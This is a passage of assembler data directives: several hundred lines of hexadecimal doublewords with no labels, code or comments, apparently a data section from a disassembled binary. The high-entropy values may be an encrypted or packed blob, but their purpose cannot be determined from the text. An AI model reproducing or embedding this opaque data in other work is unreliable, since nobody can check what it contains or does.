dd 0E969726Dh, 0E09634F8h, 754721E2h, 549D0DF2h, 0CB04F378h
dd 0FED117E9h, 135BC2C8h, 0BF03682Ch, 0D5BB021Eh, 0FBCC240Ah
dd 0DF5E5DE2h, 29BF72C4h, 4D212B50h, 0E172ED94h, 5117D5D1h
dd 0E58AE8DDh, 0E463E2EAh, 1A83A2FBh, 0F76AD0B5h, 2737B2ECh
dd 0C1B06270h, 9891D0F7h, 103520E3h, 8E255B76h, 5DAC1416h
dd 593B5585h, 0AB315213h, 17A10A2Ch, 111790Fh, 9071333Ah
dd 22013F23h, 48A706A8h, 7CD5CDF5h, 18A80FD5h, 0AF492712h
dd 0CA162356h, 4EF9A57h, 0AF29C79Eh, 0CB30642Dh, 16579D5Eh
dd 60545961h, 1BE5BF00h, 0CF81686Eh, 2263901h, 0D45EE91Fh
dd 7F8D283Bh, 25240641h, 56E43868h, 0C3FCB570h, 0E8F5E979h
dd 53153F64h, 377DF54Dh, 524E7A4Bh, 9AA4CFF4h, 0CBADBE29h
dd 4EAD257Ch, 288C31D1h, 9C7976Eh, 0E8B12AD6h, 830CDB7Eh
dd 17E918C1h, 94067BEh, 0C5F45BF9h, 5211B827h, 0EFB80350h
dd 485E2C7Ah, 0A5E94088h, 5BC1FC5Dh, 560761ACh, 576EC68h
dd 467FC174h, 0EC040403h, 2906C140h, 44045AC6h, 58467F45h
dd 90DBF2BEh, 0D4D7B5Fh, 7B1C2F4Ah, 0E93DECD1h, 2BB0A44Bh
dd 7E71B505h, 0E99BE9C9h, 0D6D25DDAh, 0CF438F07h, 869290Bh
dd 0E9040838h, 8DFFBB2Fh, 981E828Bh, 0F4DD4BF5h, 90D52576h
dd 0BD81E91Fh, 6B69C688h, 1735C877h, 62E899CFh, 7D0BEEA9h
dd 49773B89h, 70825EE2h, 31254B75h, 13B1E077h, 300290D3h
dd 0EDC1D580h, 0B0276137h, 2BEA5770h, 5F86A457h, 5B84D7ECh
dd 5AD0032h, 50731715h, 5853896Eh, 0DE209852h, 68CC03B7h
dd 38FAE483h, 9894FD59h, 95237D52h, 97035F4Dh, 0DBF412F7h
dd 7757DA85h, 517D31A9h, 4057E2BDh, 25F98DDh, 472D3014h
dd 3C5A44F6h, 0F5011A1Ah, 34080AF0h, 0FE88E00Bh, 8E716299h
dd 0ABD54180h, 510015CFh, 82882B9h, 508DE946h, 5A30C2FDh
dd 0C470F2F8h, 9A882DCh, 94B7A8A4h, 44DA0719h, 0BFB22059h
dd 1394974h, 4C120D10h, 0D93D7127h, 0CF402739h, 9D07404Dh
dd 0FC7BBD13h, 1AEF5034h, 9740AA9Ch, 58815563h, 3C2AF61h
dd 95EA66B5h, 24805E77h, 0CE89CFDCh, 98D81D2Bh, 0C30D5D95h
dd 64827AB9h, 0DA8E4A0h, 3A2A4829h, 56BA24B4h, 49B2D8ECh
dd 0E41E21FFh, 5165ABEh, 0C0AA2EDEh, 0F849F60Fh, 1399D258h
dd 42FA5EF1h, 938E209h, 0D95F0A62h, 856805E9h, 11518E0Dh
dd 6148D570h, 0E632B300h, 559CF29h, 97583509h, 20A97645h
dd 0A7659507h, 76F7FB89h, 11F99572h, 0AEC831C4h, 7C39448Dh
dd 8A61D385h, 0C8FB4EE5h, 95EABEh, 61A1B8C2h, 4A97B85Ch
dd 5BFEB028h, 0C9C08F96h, 63313F05h, 3420D237h, 0C47EF9AFh
dd 2998DA38h, 0A0DD97EAh, 0A0E9C259h, 9B6CBFADh, 4B595722h
dd 0BC5FB83Ch, 678C2DE9h, 9B20E3E6h, 70D99029h, 0C11AEE87h
dd 7A6B473Ah, 0DDAC3B5Bh, 0BD580840h, 90802AC5h, 0E908B32Dh
dd 4015D91h, 7B35FB97h, 2D2A5208h, 0FC0647F8h, 5B0E434Bh
dd 0F8D00372h, 0D989FED4h, 0E9CE780Bh, 93F60AEh, 0C55A48D1h
dd 3C540C2Dh, 0BB7E55F2h, 7703E941h, 328EC83Fh, 0C50E9DD3h
dd 420BC488h, 91FFFB80h, 891F023Ch, 1C9CE9FDh, 0DDCD3EC9h
dd 81C57E22h, 5C89D88Ah, 0A07A525Dh, 94854793h, 0C5D7A576h
dd 0A7F5258Ch, 5651B83Fh, 8FE817DCh, 0C9219FD9h, 20954C27h
dd 2E4A62BFh, 0E602654Ah, 5C28041h, 0AABF0693h, 49E90502h
dd 5EB0A2E8h, 278C059h, 0A218F226h, 6878D5B1h, 0F85DE882h
dd 92D9C9Fh, 24AC6A54h, 4C4114BCh, 1747AC7Ah, 65AE28F5h
dd 0FE701D7h, 3A0AFD34h, 80421B5h, 0E94B41E3h, 603A1009h
dd 6C8B2860h, 29341BB1h, 0C5F06CC8h, 58C62501h, 80B4C77Fh
dd 0B096851h, 0E8D62845h, 6BC1FC20h, 43B20F40h, 94A95141h
dd 8600BEF0h, 885066DEh, 0E8D0F6D8h, 0D858F0C3h, 9A952A19h
dd 1290BF80h, 0EC273B19h, 787A7DABh, 0CF881AC6h, 930C2E2Ah
dd 0F5D95AD6h, 67D7E201h, 12ED2F90h, 0E83E7375h, 0FBEBF1C0h
dd 82CD32Bh, 6812067Eh, 0C18C339Ch, 0F41041B8h, 129C5984h
dd 0F6F9B440h, 5DCE4D4h, 0E950B353h, 268ED1Ch, 0E54D4CEEh
dd 91D1C00Fh, 6B87B4C5h, 7824E8E7h, 0C97FE20Fh, 0F6107D48h
dd 0BFE0952Dh, 1EC4454Bh, 0B65834AFh, 5DE90243h, 0A46CF168h
dd 0DBA1238Ch, 5BD9FD2Fh
dd 9681228h, 4AFB1A8Dh, 7D23BAD7h, 68179A14h, 2D380ABEh
dd 0D7299F05h, 62D9038Bh, 0B308DF2Dh, 897D0882h, 0B1327F2Dh
dd 98C4DF5h, 0FA51D4B8h, 9A402928h, 7EF10981h, 32706ED2h
dd 0DE5C5973h, 62BCB508h, 845EB95Fh, 65A8D5E9h, 0C3DA5727h
dd 71D7F72Fh, 25ABA35Ah, 620152E1h, 4C7B1385h, 409D4A33h
dd 147CF85Bh, 0E91B5568h, 10BBDE05h, 0D70DC13Ch, 0A5BF049Ch
dd 9E68E89Eh, 0CF8014C2h, 0EF8DC18Ch, 24EADB97h, 0AF3D8450h
dd 0F94B42BCh, 77EA8EE8h, 517FCFEFh, 9BDC2FC0h, 0C291B65Eh
dd 0CC5741C8h, 57502780h, 0B8013ED1h, 0AEA7AC21h, 0E85E8678h
dd 4F2263FEh, 0C7AB0287h, 743B04F8h, 518CDD60h, 0F4A8275Bh
dd 6A4CC106h, 393C0C4Bh, 0E9418E75h, 20BED7B2h, 0FEEEA5C9h
dd 0CBD7F695h, 6025C8DFh, 0BE20D6C9h, 1EB4191h, 49AA6041h
dd 51014426h, 0E934821Ch, 0D1A5511Ah, 2C4BDDE8h, 42A94A5Fh
dd 21765627h, 0F7FE0FC9h, 0F1B79DBBh, 3B96DBEh, 0FA596DCAh
dd 99F2B076h, 0BB3F5EF4h, 57CC9E58h, 2D119AB5h, 54DB34F1h
dd 59F97289h, 77173C7Bh, 4F62ED62h, 5F067849h, 4C58B098h
dd 1123D658h, 0B9025CF2h, 7BC25ACFh, 8AAB1DE1h, 8420AF71h
dd 8F4D5DC1h, 10D9AC64h, 5454652h, 0E72018Eh, 3D54C901h
dd 0FC2EDB7Dh, 602324Eh, 5047005h, 7F5A7309h, 39A0BF5Eh
dd 39755C8Fh, 0B30E4E30h, 0DB09EB0Eh, 75642FE9h, 0C40B61E4h
dd 9786E43h, 0DAA55FB9h, 0BA3484C1h, 0CDFB48D5h, 0EC9B041Ch
dd 39BA4BD4h, 78AA2F7Dh, 0C4BF21A2h, 0E259200Ch, 7EB03790h
dd 0A4E60B27h, 5EA46E5Eh, 374E0FEAh, 0E66E40AAh, 0FC8425B6h
dd 60128B81h, 17620C8Fh, 0CA4B753h, 0F72BCD75h, 0F5556B09h
dd 0DF7389DCh, 7CF09B32h, 8FEB5D4Eh, 80602556h, 0D55B8B0h
dd 813B5EEAh, 154A339h, 0CECBD388h, 0B52670B4h, 14AF325Eh
dd 32759D5Fh, 4BFC71A6h, 0E2D8F104h, 81099F68h, 80DEDC57h
dd 6C1630F8h, 0CF7E0868h, 470F934Bh, 0C1D0583h, 0F7D9A01h
dd 0B4416158h, 5F023938h, 0A7BFE7DFh, 0A39B3444h, 76AAC189h
dd 0F84965ADh, 34DE480Ah, 0C29110CDh, 0BD4266ACh, 51797D07h
dd 34F38103h, 5BECF443h, 0B3BDF04Bh, 0F21C4F61h, 0A8D6E63h
dd 0E1E4BDC2h, 86160560h, 62C77A09h, 0C5EE563Ch, 0D6AA2307h
dd 96C345B9h, 0A3045434h, 0E1F32062h, 4B47F810h, 66525B8h
dd 82F88206h, 2AF3580Bh, 791A257Dh, 95069053h, 8790C819h
dd 28F6431h, 4EC6ED83h, 1D24AD9Ah, 299E15EFh, 2041F8EFh
dd 0D89D9961h, 0F60BBF4Ah, 0B93F6DFDh, 0D468E79Fh, 90895F74h
dd 57AB8D5Ah, 8703C02Ch, 2B0E770Dh, 0E510626Ch, 0B5511E63h
dd 0AD1078ACh, 0CD62B61Fh, 2A0E151Fh, 0E0E50EBFh, 84F51D76h
dd 0C12850EDh, 7CB92178h, 20AC907Dh, 0C580381Ch, 59E8280Eh
dd 0E895FB32h, 5E10BBCh, 88B36FC3h, 0B4CDF912h, 0D441E1Bh
dd 7FEA415Dh, 5CE0FAECh, 0F3FB850h, 48681256h, 0D2D609EEh
dd 559740D8h, 2C005F33h, 71D9790Eh, 0B18DD05h, 2CE91191h
dd 9A5AD724h, 0F766017Bh, 0E216E9E1h, 0EBC0A684h, 4187FA02h
dd 0F24AC133h, 20F5C9Ah, 5966EC30h, 68440157h, 0D1111F24h
dd 39C710FCh, 0F2C53D59h, 685527B0h, 0BE7C1C49h, 0C5C05E4Fh
dd 0F80BBC09h, 8C174AD8h, 53288216h, 1569D8A7h, 0E945773Ch
dd 21C16886h, 0FBA64E7Bh, 0BB9529Ch, 265A3FFAh, 0D939768Bh
dd 842538C5h, 0BD01DAB8h, 6B885131h, 0D9315DB5h, 5E01EC6Bh
dd 0BDBD37C8h, 6FC1BFB9h, 0CBEC103h, 817B885Eh, 7C2C0BE6h
dd 0A7804E6Dh, 500514E1h, 174E913h, 9F9B9290h, 0B0CC4E54h
dd 5F26517Dh, 3901D259h, 893BA860h, 86899A21h, 0C68128D0h
dd 6F6FF3E9h, 0F78E8DB2h, 440650D0h, 64B36B16h, 3B619501h
dd 0BA2E5E26h, 547B223h, 0FC44980Eh, 50AFB864h, 42CB3EE4h
dd 89E35DBBh, 777662D2h, 0EA078520h, 0FBDF76CDh, 592D13C3h
dd 0B6270885h, 685E3500h, 149D1989h, 0E7EBDCAh, 83A3430Fh
dd 812F6852h, 0A03A67D7h, 0A1024AD7h, 0F5E90C60h, 0ED400B35h
dd 52703368h, 0FE14779Dh, 6065BE02h, 0D6563777h, 6F5E1D53h
dd 0BF016485h, 0F6186B8Bh, 40E93367h, 5213B8B2h, 0D8094FB6h
dd 0B13D555h, 57B54E04h, 7587EE28h, 0C680FE41h, 0A0D75BE5h
dd 0F204E6C0h, 0EB0350CEh, 5E635AC5h, 414092CFh, 3816EA71h
dd 0EF4ADA55h, 0E1B40E51h, 4A98EDEAh, 68E18FFCh, 0C55DCAEBh
dd 7F93BE7Ah, 5BE3A364h, 0E9121CBDh, 680A80AEh, 9B9765E1h
dd 0FED49119h, 83A4B378h, 3513C272h, 2A34A96h, 328DC10h
dd 25CEBA52h, 0CA81D8FAh, 0C0051374h, 5395BA19h, 0A2A704ABh
dd 0C8DD1C21h, 5737BAC9h, 0EEC9CC9Bh, 17B67B90h, 0E610B349h
dd 0C15907AFh, 3C920AE8h, 0C9D668BCh, 44D14CF6h, 8B4E504Ch
dd 305B0198h, 1C4B68C3h, 4A585F48h, 42D9C9A4h, 8902B974h
dd 10D059E0h, 5E5A7283h, 0D6BC7D8h, 4A479B6Dh, 6FD530E3h
dd 2D4EB92Eh, 5F35A880h, 0B0424A31h, 4C1F0B97h, 81837507h
dd 6B483F90h, 0F0100B12h, 0BA4251FEh, 40C22D8Bh, 6E780D80h
dd 0E9137587h, 0F0BCF0B7h, 0A9659C82h, 0D408D1DCh, 167B243Bh
dd 9F0BED55h, 0DCE6A7CBh, 21F8212h, 24F71198h, 4183F30Ch
dd 5B0B91FBh, 2AFBF62Bh, 70BDEFB6h, 54871396h, 0EB0D818Ah
dd 2071B80Ch, 87FDF501h, 6D63903Fh, 68B7A2F2h, 81DB4D5Ah
dd 92EF6658h, 0BB034FFh, 0CCDD99BDh, 0B93EE55Bh, 264F1676h
dd 685BAE30h, 0A34A4F44h, 1440120Ch, 5EF218ACh, 25AD0DE1h
dd 202C2B20h, 3106417Eh, 0F3A12EA8h, 53DDC83Eh, 0CA86E916h
dd 817EE3A6h, 5503F379h, 1285D2C5h, 0F90C052Fh, 0AE83C3EAh
dd 8250A3B7h, 6857807Fh, 7607190Fh, 0CB096566h, 0DFA0B049h
dd 10B54D66h, 822BCE65h, 385B1760h, 0E60D645Eh, 0A13B0D5Fh
dd 9783CBDh, 51D27DE9h, 0DCDE8BC1h, 2F8FC475h, 6A66BA7Fh
dd 3049C92Fh, 8A659204h, 7E7C82E0h, 0E92CB2A6h, 5B9709CFh
dd 0AEE72E4h, 61B7D85Ch, 1A7D0083h, 0F50167FBh, 8804590h
dd 88A80AE9h, 0B0BCD81h, 0D713CE22h, 0BE56F500h, 170B1B0Fh
dd 403EE905h, 1E410D56h, 97574C04h, 0FC82959Ch, 6E874060h
dd 72D35C03h, 0C8E51B2Dh, 0A8B5E909h, 1883BFF8h, 3E536902h
dd 11823C96h, 226895EFh, 6C5FBAA0h, 7738D125h, 54CD7200h
dd 1B76E922h, 4810F501h, 0EA0941B5h, 80FCE260h, 0EB4A8759h
dd 0F238E3B8h, 9A2DBB4Eh, 2F6EBD7Ah, 0BD7840D5h, 61617CBEh
dd 435E683Dh, 5FC0894Fh, 0A5D97979h, 517D96D0h, 0E6B538F2h
dd 37653923h, 0FF596A17h, 0BC3B3A99h, 0F1009295h, 45D38627h
dd 0C5822EE9h, 2D32403Dh, 0D076759h, 38365E06h, 470E2250h
dd 0EC05042Bh, 83D8FDD4h, 0B8E5E92Ch, 83960FA7h, 2E4C5EC0h
dd 13B3120Eh, 0E6DC880Dh, 0FBE9094Fh, 6BF9718Fh, 0BCB25F05h
dd 0D9EFD694h, 0F4212BDAh, 0FF04C0C1h, 5AB98D93h, 84B1E211h
dd 0E5470935h, 0EB098E56h, 0CE82E651h, 0E1281062h, 0D9ECA00h
dd 0CC7E1768h, 69099E3Bh, 0FF4B733Eh, 0AC1F0384h, 0EEC10A96h
dd 6005A508h, 0DA1EFB59h, 3E168A46h, 86D47DD2h, 9E087299h
dd 585A0989h, 43753F8Bh, 0F08CEA67h, 5E90B737h, 6A2D39B7h
dd 48E7C70h, 0E9B350E9h, 30107A5h, 65B37F74h, 8F534CCDh
dd 1FFD0C24h, 50260B52h, 368D4579h, 0AE2EB8E1h, 0E9C5C833h
dd 0A63E1F25h, 78A2FE1h, 77F45D98h, 242066F1h, 0A5156169h
dd 434903E1h, 11816DB8h
dd 13576C20h, 39EBEB83h, 2B9D21CCh, 0EFE494A8h, 0C824A09Ah
dd 0C5D72770h, 2ED180D4h, 9BE91B79h, 17B6E853h, 2CFFD601h
dd 0BBDA5B6h, 0BBE7FD84h, 1E30DB0Dh, 61BFE3D7h, 0C3801BF4h
dd 579FC30Eh, 0B55150EBh, 0E505C012h, 0C592E906h, 72DAC6E4h
dd 0E1EDA06Eh, 9321F2Ch, 5F11C60h, 0AB41C90Bh, 3A878339h
dd 0D9C32EC2h, 6399857h, 5FE1ACB4h, 0EB2EB465h, 0B992D298h
dd 85C2FCB6h, 12180AE0h, 519AA874h, 0A26E52h, 2FBD55B1h
dd 82FA8253h, 3AD86E83h, 0D8785879h, 7CC5AE2Dh, 539C63F7h
dd 46617BB2h, 3D1B216Bh, 14EF95DEh, 8092BEE7h, 428B6C0Ah
dd 0E94C9F55h, 0B070CD20h, 1019271Ah, 9F982C51h, 0B85051A3h
dd 681E40DDh, 0EE32032Ah, 0ED923D32h, 6E29FFEDh, 4162D451h
dd 9BAAAC9Eh, 0E1FC63DFh, 7A7BF589h, 0BC3A5E81h, 0C8CB3D2Bh
dd 4EFE2FD5h, 0FD392F95h, 5AB5D85Ah, 8000B56Bh, 18E95908h
dd 684D8161h, 4D7C2ACBh, 632691C0h, 49BF5A13h, 0F27B2A45h
dd 2EEE4E91h, 8CF450DFh, 1F9C954h, 0FDC8C760h, 211BB5Fh
dd 0E972BD5Dh, 1FCA1A78h, 0EF5478ABh, 55A57B26h, 316BB64Ch
dd 0ABC6217h, 0E1224608h, 0B6259C98h, 705EDC79h, 2C5F685Dh
dd 3914EEB6h, 291AFB41h, 5677A4DAh, 6B0B3C66h, 9A502A85h
dd 537940B7h, 0E9330CE4h, 296EDDFFh, 121BCCD6h, 7569DF14h
dd 2665F9D9h, 614B5AECh, 61498E03h, 8BF0209Dh, 2AFD5C13h
dd 0DCD2D201h, 0C9D388Dh, 1B14042Fh, 4AACAD01h, 94E3C285h
dd 4143051Fh, 0E801777Dh, 0E907412Dh, 68872447h, 461A0825h
dd 26B27FA0h, 8F97DECBh, 590507E8h, 0AB85F419h, 4C0A4438h
dd 19E6D056h, 6C238898h, 97B2B83Eh, 0BAD225F8h, 5DBA4AA4h
dd 0B84F2D56h, 154593A7h, 8A92EA12h, 0B091C1E5h, 0CAC7432Fh
dd 0AE7C62C4h, 57F1D22Dh, 0AB727DB8h, 680536BBh, 0FDE776B7h
dd 5BDBF210h, 43C98CADh, 0D6B94BA0h, 0E048AF87h, 2B4C01FAh
dd 0F1012898h, 0B02FFF71h, 477F7473h, 381FF70Fh, 0B3029252h
dd 7F8237E1h, 0EBA40583h, 0F978C76Bh, 6BF28A73h, 16FD40A5h
dd 6AF6531Dh, 3EE34E5Bh, 0B1A3FC79h, 3EF5ED39h, 0AC14C877h
dd 0EF895703h, 7857F892h, 95C1821Ah, 97126CBh, 14FDFEE3h
dd 0A6EE8033h, 6E668103h, 9C6D4CC3h, 3680EE16h, 4B205B4Ah
dd 67C044CCh, 0D264EB05h, 0C3F6F2AFh, 16085568h, 43AE6981h
dd 0D9F7CDE5h, 0C5810800h, 32564362h, 135AB0C1h, 8C60C068h
dd 0D441A886h, 0E516803Ah, 6A5AB78Eh, 0EB6800EFh, 675047F0h
dd 770C4BB8h, 0C027F41h, 656A101Dh, 936B1230h, 0F18305ABh
dd 0C456B5h, 0BD184336h, 0C37E298Fh, 90833A25h, 0B08E8AFh
dd 892A2F35h, 0DBC1AAE2h, 93CB28EDh, 0BA137E21h, 82F55202h
dd 30DC8Ch, 4FB1055Fh, 134A105h, 7042DD0h, 0D0D4F7E9h
dd 37B61AC1h, 2F94792Ch, 1E57510h, 0DD2EA3BDh, 0D9CEF75Dh
dd 0F504BB00h, 0C0541FABh, 3656ED50h, 246CF030h, 40CA58A3h
dd 0A90BC816h, 0D70575BDh, 2CA85FE3h, 5126982Ah, 7201929h
dd 0A1F978C5h, 782D5DBEh, 875BFA1Dh, 6F28C5EAh, 10B9C26Eh
dd 9F987F17h, 97BD6836h, 4EDD0089h, 565B2BD8h, 27E0BE00h
dd 32E97111h, 0F23954Bh, 33031FECh, 4F6CEDF3h, 0BC91D84Eh
dd 42FE96FEh, 1A550A5Eh, 4FC35FEDh, 0DD90E3D4h, 0B01D3D1Bh
dd 67071493h, 1DB0C2Eh, 0F4410EEFh, 6B16B5C9h, 0DE0E783Dh
dd 0FBF837FEh, 2D8704B4h, 1D0413D7h, 31EF4B51h, 42AA3B4h
dd 0A0F284BAh, 0A0400B3Ah, 437A02BFh, 0EF814909h, 0E97822DDh
dd 1B9DC0Ch, 0FC3D5EB9h, 0B233818h, 0AC34Ch, 0A10CC805h
dd 9F46985Dh, 0E4476500h, 0F9B72DD7h, 0EE51C412h, 9E70AA01h
dd 0B47A3103h, 0A2C85DD3h, 925D2D5Ch, 0B815572h, 70D997C0h
dd 44BD8AE6h, 0E85A5A91h, 45C48FAh, 64A740Dh, 9496E8AAh
dd 4CB002BFh, 63564938h, 7199926Ah, 0AF4EBDC5h, 0CE30A83Dh
dd 0B46E40ABh, 0E3085C1Eh, 1A8C456h, 8112B65Fh, 0FFA2EAE9h
dd 4723342Ah, 0CFE5B1F6h, 0C42DBBB2h, 0E1DFB26Ah, 182843A0h
dd 0D122E94h, 0E72AA26h, 962EDD09h, 6FDF8A3Fh, 3BBC09EBh
dd 0B000558Bh, 160E2984h, 7BE5E690h, 0D8FF5812h, 1B4FF904h
dd 5F5EC141h, 0F5EC2760h, 0B510956Fh, 7BEB4A79h, 0AEF869B1h
dd 1E38FDF2h, 2B08ABB1h, 0ED84C5C9h, 0A2624868h, 0C301C59Dh
dd 0BA4ABCE3h, 880894DDh, 30FC41AEh, 8B0BCF7Dh, 0E111718h
dd 0BF59C583h, 0B8AA32C4h, 0D668C487h, 1E535BAh, 717D268h
dd 0DFC0777h, 0F0BD25E9h, 66E6D5A2h, 4B41C657h, 0EB29841Dh
dd 0E19692A9h, 753D3BAAh, 5D80C074h, 17C50AE7h, 0FC21985Ah
dd 7925C7BEh, 45566981h, 5569F75Bh, 0E9E284F1h, 3259D0EBh
dd 0A7217BDh, 672F0276h, 8BDBAC8Dh, 0A3E2DDE9h, 0FE8F165Dh
dd 8E8BAAE2h, 0D192A923h, 0B44388C1h, 99AA5D16h, 90AB7CD2h
dd 55500B96h, 1FB1D352h, 67C80C0Ah, 0E0BEEE4h, 479447Eh
dd 0CEFEF1FBh, 0EE2D7D8Fh, 5974B04Fh, 0A948BFD2h, 0FE4FB84Eh
dd 0DD47DCBAh, 9D0B785Dh, 3532C8A0h, 2B59BD80h, 5F095AF0h
dd 30D112EAh, 20BBC24Eh, 89B3212Fh, 2E1C553Dh, 0DA31D4B5h
dd 2A4BC341h, 0CE07966h, 523714C9h, 28060C32h, 0F9290D46h
dd 5F08814Eh, 77CF56Fh, 0D50E7417h, 0C3F5C280h, 0ED8F9B7Dh
dd 56319349h, 0F8094241h, 0A2046E5Fh, 3F58FD2Eh, 10B4E913h
dd 0BF0738BAh, 0E247030Fh, 0EE7C038h, 5C3EBB75h, 404F63E9h
dd 5C083182h, 356FBE5Dh, 73AD330Bh, 0F915E90Dh, 88FBDD2Ah
dd 1FE53B2h, 40252FBAh, 3F26200Bh, 0B159F582h, 5054C693h
dd 78EA1645h, 7420B129h, 6351610h, 0B0A20F50h, 606852A7h
dd 0E3E46E1h, 0C1835E19h, 0C342D188h, 6D917720h, 524AEAC8h
dd 637CD80Bh, 7A02742Fh, 0EB60DC57h, 4E45E47Dh, 5291C6Ch
dd 16D804F0h, 1EFDFCC4h, 0B94378B5h, 0A72CE828h, 88AF59A5h
dd 49002527h, 2D104B6Dh, 7517760Ah, 1E6EB173h, 0A4A7C040h
dd 0C6895EA1h, 0BDB8659Dh, 0EE2D79C8h, 1B68A275h, 6D98F77Ah
dd 0DD82B14Ah, 6C60A9F1h, 0B5390B02h, 81038D72h, 0AD3860CDh
dd 0E9100A46h, 81BC365Ch, 0FD42BBCEh, 1D380021h, 0AD0F54CDh
dd 4DA4F9Ah, 49361965h, 0A89FF314h, 0D32909AFh, 0F17F535Ah
dd 547CE95Fh, 0E80291A8h, 0E90D2F14h, 4A6CD0D0h, 6B57F15Fh
dd 257FCD8Fh, 94DB2F72h, 2E26E941h, 58A7B77Fh, 0A4E61FADh
dd 29F9125h, 26C6F909h, 0A58A2FB2h, 0E0AEEF87h, 0CF48293Fh
dd 0DC3825A4h, 64BFE2D3h, 625DCBEAh, 35AFF516h, 0AC2E7BA4h
dd 486BC4FFh, 7D0459A2h, 0BA22FB35h, 712D284h, 31CC91E2h
dd 69C127A4h, 9251ED25h, 4EE4DA30h, 0AE65FAEAh, 1EE84012h
dd 1DA04A2Eh, 123F5CFBh, 0E6E3EA01h, 0A89CE916h, 29AA4F30h
dd 7C8FFDE7h, 0CF0570A9h, 596EEF80h, 681EC0EBh, 0FFC51BA2h
dd 9E37D5F2h, 0FF5C3AD2h, 0A6A0E165h, 0A8703D17h, 32CD14EAh
dd 1E73EA09h, 8200E5FEh, 496E721Dh, 0A00849E9h, 0B505212h
dd 9F5AFB2h, 1F82DF54h, 58D72039h, 0FF5B2702h, 0C9C18913h
dd 0F71087EFh, 6B1B40D8h, 5B1EA1Dh, 0E591FB5Eh, 0F248A155h
dd 124712E1h, 2EFFE029h, 0F393D713h, 0C992FCB2h, 7D5E2BA0h
dd 0F1B50249h, 25902F6Dh, 501709BEh, 6CBC3533h, 5FC66B0Bh
dd 0CB01FDD1h, 297CFB95h, 0BB67577Eh, 0CB0F484h, 421641FFh
dd 0B1F0545Dh, 0EBAE5A67h, 5360676Eh, 23E9B2D4h, 0F0FC8A6Bh
dd 2490B43Dh, 8158D8AAh
dd 4CF4ED02h, 580155F9h, 5B0880ECh, 0E089FF83h, 0C5D133C1h
dd 10539F8Fh, 0C362317Eh, 0C8D48856h, 503B58E5h, 12EAB452h
dd 9A1077FDh, 36EB002Ch, 52455355h, 2E320E33h, 73C6C64h
dd 32564441h, 0D984950h, 4CFC544Eh, 780A54E3h, 60041C01h
dd 25E97836h, 0D68FBE0h, 64A959Fh, 81DA04C0h, 0BF96105Ch
dd 11114215h, 88B2197h, 8190983Fh, 7744D188h, 1299D021h
dd 9A2D106Dh, 94106389h, 760F12EDh, 39D981Ah, 0F8011CA3h
dd 0B28F37h, 3B3EBAD6h, 655D3A59h, 0B8D8D900h, 2D4F5AECh
dd 0F5F40071h, 7D78FB97h, 3100441Fh, 6EC81B5Dh, 17A97Ch
dd 0BD0B808Ch, 85B6FB74h, 0ACA03600h, 35D7E004h, 81CC00A2h
dd 0A57C6C54h, 0CDFE3EDAh, 560E46EEh, 7250FAC5h, 0FE0D01FFh
dd 0FC77095Bh, 0DB0358C8h, 3D7A76DCh, 9537804Ch, 0A2AC3C02h
dd 39403AEEh, 849112AEh, 696E2A00h, 0EE7D55B6h, 0D00A0050h
dd 76010DFh, 0AE13FA86h, 90000E05h, 623311FDh, 0AA3D2DADh
dd 9B1A8880h, 0A800E484h, 316D0F0Ah, 0D1B3AEh, 44243DC5h
dd 0CFADAC48h, 0F700A472h, 7E2A764Bh, 9FFDE8h, 1636603h
dd 89EBEE95h, 14C3DA3Ah, 8EC7ADh, 85E2A53Bh, 38AFBFEh
dd 0C453F9C2h, 21003AEAh, 3435B14Bh, 1E902647h, 0C31087E0h
dd 0EF8CFDF4h, 0A537CED8h, 0EC1938h, 0E1A6347Eh, 11B926h
dd 87E5E481h, 1A6B6E0Bh, 0EE008E77h, 59FF6A5Fh, 30D34C0Ch
dd 95E33923h, 770115ECh, 0FC9C991Bh, 60C01FA0h, 0B58C0034h
dd 3A3FBBD7h, 5C0F355Eh, 20D9D864h, 2C4C59EFh, 0F2F50070h
dd 7A79FA96h, 3208451Eh, 4C91C5Ch, 278D16A8h, 0D1DF6120h
dd 0D552004Fh, 0D4A5A047h, 93007FD7h, 6F641510h, 7180CF3h
dd 0DDE112E3h, 0A0261939h, 99004762h, 32FD47FAh, 2B7624h
dd 8FEF8D88h, 2F7F16B4h, 25A4EB24h, 0DD9B1000h, 361BBEh
dd 62FDB6F2h, 65089606h, 1072D824h, 0F0909740h, 16197FA4h
dd 0A0AFF969h, 0CCAC5E02h, 0A7A24000h, 0BD28A9D6h, 61D037E1h
dd 0DA67D066h, 0B20055C7h, 71D9A6D7h, 109D241h, 0CAB92F4Eh
dd 0FCEE8A0Bh, 56003231h, 89F3D06h, 53DF71h, 20A1A04Dh
dd 9423CC8Ah, 0C782B700h, 7B0815ABh, 4AE0F3Ah, 0F71D8001h
dd 0CF74C1FDh, 8BC8E8DEh, 14762600h, 1C9DEA6Bh, 5FDA04B6h
dd 835C2B58h, 2300AF99h, 3CDC723Dh, 0DB0B7h, 12A25BC2h
dd 389B0B84h, 3BEFD2h, 0A668CA88h, 7E75604Eh, 8D0801h
dd 0E6FEA14h, 72EE38DEh, 83F0F700h, 0AD124CE2h, 93E92845h
dd 0A0CC09F2h, 805507Ah, 0C54AA1A2h, 6C5580F9h, 0E40DF237h
dd 0BCCE308Ah, 0E89D1A32h, 0B6F53600h, 23D9320h, 0F1CD0A58h
dd 1DCFD78h, 97D1ADC4h, 250E81B6h, 0DEAFAA49h, 3BD350E8h
dd 2F00D9B1h, 0BFFC8D98h, 0D701A73Eh, 82B4E772h, 23E4C15Bh
dd 80EF078Bh, 0DC2263F3h, 0AD3E5678h, 1C2C8C5h, 3827B8C8h
dd 0E74717A8h, 5D9249B0h, 590606B0h, 0D2A6B46Fh, 79B6E25h
dd 0DEE147B5h, 4C80EE9Ah, 0D6F15926h, 5D0079D9h, 932DB862h
dd 0E0611E13h, 37EB77AAh, 0A0C042CAh, 8B227391h, 0DE9AF40Ch
dd 18EA1641h, 0F9BDD8Dh, 0E87A4E29h, 905E9326h, 6A300B00h
dd 4CB6A3FBh, 2200AD54h, 5F583445h, 93072ABDh, 4FE6A2FCh
dd 0B5F240EEh, 65AFBF1Dh, 9793E88h, 2F80158Ah, 13169D09h
dd 9059AC00h, 0B06F3312h, 10229D02h, 946A3BBAh, 0D1CDB200h
dd 3100534Eh, 0A4C4DD65h, 3F4D4CE8h, 9781042Fh, 1E8A16EBh
dd 6442488h, 3561030Bh, 7A7E008Eh, 484D0B63h, 9B072ECBh
dd 0C28042C5h, 9684AB57h, 320382D8h, 0FB401D00h, 0EED72574h
dd 8EBA35C0h, 416CFE00h, 0FD8AFF7Ch, 4A3B0CE1h, 0AEFB9AB7h
dd 7E0F0204h, 0B80B031h, 3B6FA8B3h, 9D89717Ch, 2580F784h
